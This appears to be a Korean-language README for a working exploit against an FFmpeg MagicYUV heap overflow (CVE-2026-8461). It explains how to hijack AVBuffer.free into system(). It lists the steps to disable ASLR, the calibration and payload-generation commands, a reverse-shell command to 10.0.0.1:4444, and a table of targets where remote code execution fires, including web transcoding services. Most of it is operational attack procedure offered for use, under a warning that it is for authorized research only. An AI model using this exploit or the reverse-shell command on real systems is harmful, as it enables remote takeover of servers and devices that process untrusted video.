
FFmpeg MagicYUV 힙 OOB 쓰기 (CVE-2026-8461)에 대한 작동하는 익스플로잇 PoC로, 디버그 및 프로덕션 빌드용 자동 보정 스크립트가 포함되어 있으며, AVBuffer.free 하이재킹을 통한 명령 주입을 가능하게 합니다.
[!WARNING] 이 저장소는 힙 손상 취약점에 대한 작동하는 익스플로잇 PoC를 포함하고 있습니다. 이는 승인된 보안 연구, CTF 상황, 방어적 분석 목적으로만 사용됩니다. 자신이 소유하지 않거나 명시적 서면 허가를 받지 않은 시스템에 대해 사용하지 마십시오.
영향: FFmpeg 8.0.1 MagicYUV 디코더 (libavcodec/magicyuv.c)
원시: 힙 OOB 쓰기 → AVBuffer.free 하이잭 → system() 호출
magy_decode_slice()는 Cb/Cr 출력 평면에 쓰기 위한 루프 경계로 sheight (제한되지 않은 슬라이스 높이)를 사용하지만, 버퍼는 제한된 height를 사용하여 할당됩니다. 특수하게 조작된 프레임의 마지막 슬라이스에서 루프는 할당된 영역의 끝을 넘어 쓰기를 수행합니다.
// magicyuv.c:291 — dst 포인터는 이미 버퍼 시작에서 sheight×stride 떨어진 위치에 있음
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // sheight > height 일 때 OOB 쓰기
범위를 벗어난 쓰기는 이후에 할당된 AVBuffer 구조체에 위치합니다. 쓰여진 바이트를 제어함으로써 AVBuffer.free는 system()의 주소로 덮어씌워지고 AVBuffer.opaque는 힙 상의 명령 문자열 주소로 덮어씌워집니다. 프레임이 해제될 때 av_buffer_unref()는 system(cmd)를 호출합니다.
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR 비활성화 — 캘리브레이션 필요)
Python 종속성: 없음 (stdlib만 사용).
sudo sysctl -w kernel.randomize_va_space=0
디버그 빌드 (-g로 컴파일, 예: --enable-debug로 소스에서):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
프로덕션 빌드 (스트립된 공유 라이브러리, 예: apt install ffmpeg 또는 사용자 정의 --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
--avi경로는 캘리브레이션과 익스플로잇 전달 시 동일해야 합니다. 경로 문자열 길이가 변경되면 힙 레이아웃이 바뀌어 캘리브레이션이 무효화됩니다.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# 디버그 빌드 (정적 링크)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# 프로덕션 빌드 (공유 라이브러리)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# 시스템 설치 FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
예상 출력: 명령 실행 후 프로세스가 corrupted size vs. prev_size와 함께 충돌.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
auto_calibrate_nosym.py는 다음 방식으로 작동합니다:
av_buffer_create (libavutil.so .dynsym에 항상 존재)에서 중단하여 소스 수준 심볼 없이 Cb 및 Cr 데이터 포인터를 캡처합니다.AVBuffer 구조체를 찾고 system() 주소를 추출합니다.익스플로잇은 대상이 비디오 프레임을 디코딩할 때 실행됩니다 (단순 프로브가 아닌 경우):
명령을 실행하지 않고 취약점을 입증:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer or corrupted size vs. prev_size
AVBuffer 구조체가 Cb 평면 OOB 시작 주소에서 640바이트 이내에 위치하는 특정 힙 레이아웃에 의존합니다. aarch64에서는 glibc 할당 순서가 AVBuffer를 해당 범위 밖(인접 청크는 약 10KB Cr 버퍼)에 배치하므로, 현재 프레임 형상으로는 OOB 쓰기가 도달할 수 없습니다. aarch64로 포팅하려면 aarch64 힙 레이아웃을 프로파일링하고 프레임 형상을 조정해야 합니다.kernel.randomize_va_space=0). ASLR이 활성화되면 힙 주소가 실행마다 무작위화되어 캘리브레이션이 적용되지 않습니다. ASLR이 켜진 대상을 확장하려면 정보 누출 원시가 필요합니다.auto_calibrate_nosym.py: 동적으로 링크된 FFmpeg가 필요하며, libavutil.so에 접근 가능해야 함 (시스템 경로 또는 --libpath를 통해).| 파일 | 설명 |
|---|
exploit_cve_2026_8461.py | 익스플로잇 AVI 생성기 — 악성 MagicYUV 비트스트림 제작 |
auto_calibrate.py | 디버그 빌드용 자동 캘리브레이션 (-g 디버그 심볼 필요) |
auto_calibrate_nosym.py | 프로덕션 빌드용 자동 캘리브레이션 (스트립, 공유 라이브러리) |
CVE-2026-8461_Analysis_EN.md | 전체 취약점 분석 (영어) |
CVE-2026-8461_Analysis.md | 전체 취약점 분석 (중국어) |
ffmpeg_prod | 로컬 테스트용 스트립된 프로덕션 FFmpeg 8.0.1 바이너리 |
| 호출 | RCE 발동 |
|---|
ffmpeg -i evil.avi -f null - | 예 |
ffmpeg -i evil.avi -o out.mp4 | 예 |
| 웹 트랜스코딩 서비스 (libavcodec 디코드 루프) | 예 |
| libavcodec을 사용하는 비디오 플레이어 | 예 |
ffmpeg -i evil.avi (출력 미지정) | 아니요 — av_buffer_unref 실행 전 프로세스 중단 |
ffprobe evil.avi | 아니요 — 프로브 전용 경로, 전체 디코딩 없음 |